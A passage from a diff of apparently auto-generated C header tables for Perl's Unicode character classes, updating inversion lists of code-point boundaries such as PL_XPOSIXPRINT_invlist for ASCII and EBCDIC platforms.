+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x210A,
+	0x210B,
+	0x210E,
+	0x2110,
+	0x2113,
+	0x2114,
+	0x212F,
+	0x2130,
+	0x2134,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x213E,
+	0x2146,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE5,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69E,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA78F,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xA7F8,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D455,
+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D51E,
+	0x1D538,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXPRINT_invlist[] = { /* for ASCII/Latin1 */
+	1303,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x20,
 	0x7F,
 	0xA0,
@@ -27221,6 +139529,8 @@
 	0x85C,
 	0x85E,
 	0x85F,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -27252,7 +139562,7 @@
 	0x9DF,
 	0x9E4,
 	0x9E6,
-	0x9FC,
+	0x9FE,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -27312,7 +139622,7 @@
 	0xAE6,
 	0xAF2,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -27425,7 +139735,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -27432,8 +139742,6 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
@@ -27646,11 +139954,9 @@
 	0x1CC0,
 	0x1CC8,
 	0x1CD0,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -27694,14 +140000,12 @@
 	0x2090,
 	0x209D,
 	0x20A0,
-	0x20BF,
+	0x20C0,
 	0x20D0,
 	0x20F1,
 	0x2100,
 	0x218C,
 	0x2190,
-	0x23FF,
-	0x2400,
 	0x2427,
 	0x2440,
 	0x244B,
@@ -27714,7 +140018,7 @@
 	0x2BBD,
 	0x2BC9,
 	0x2BCA,
-	0x2BD2,
+	0x2BD3,
 	0x2BEC,
 	0x2BF0,
 	0x2C00,
@@ -27752,7 +140056,7 @@
 	0x2DD8,
 	0x2DDF,
 	0x2DE0,
-	0x2E45,
+	0x2E4A,
 	0x2E80,
 	0x2E9A,
 	0x2E9B,
@@ -27768,7 +140072,7 @@
 	0x3099,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x3190,
@@ -27782,7 +140086,7 @@
 	0x3300,
 	0x4DB6,
 	0x4DC0,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA490,
@@ -27941,7 +140245,7 @@
 	0x102FC,
 	0x10300,
 	0x10324,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -28149,6 +140453,14 @@
 	0x118F3,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -28165,6 +140477,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -28206,13 +140532,15 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -28397,12 +140725,14 @@
 	0x1F249,
 	0x1F250,
 	0x1F252,
+	0x1F260,
+	0x1F266,
 	0x1F300,
-	0x1F6D3,
+	0x1F6D5,
 	0x1F6E0,
 	0x1F6ED,
 	0x1F6F0,
-	0x1F6F7,
+	0x1F6F9,
 	0x1F700,
 	0x1F774,
 	0x1F780,
@@ -28417,22 +140747,20 @@
 	0x1F888,
 	0x1F890,
 	0x1F8AE,
+	0x1F900,
+	0x1F90C,
 	0x1F910,
-	0x1F91F,
-	0x1F920,
-	0x1F928,
-	0x1F930,
-	0x1F931,
-	0x1F933,
 	0x1F93F,
 	0x1F940,
-	0x1F94C,
+	0x1F94D,
 	0x1F950,
-	0x1F95F,
+	0x1F96C,
 	0x1F980,
-	0x1F992,
+	0x1F998,
 	0x1F9C0,
 	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
 	0x20000,
 	0x2A6D7,
 	0x2A700,
@@ -28441,6 +140769,8 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
 	0xE0001,
@@ -28455,12 +140785,2650 @@
 	0x10FFFE
 };
 
-static const UV XPosixPunct_invlist[] = { /* for ASCII/Latin1 */
-	327,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXPRINT_invlist[] = { /* for EBCDIC 1047 */
+	1303,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x40,
+	0xFF,
+	0x100,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2028,
+	0x202A,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xE000,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
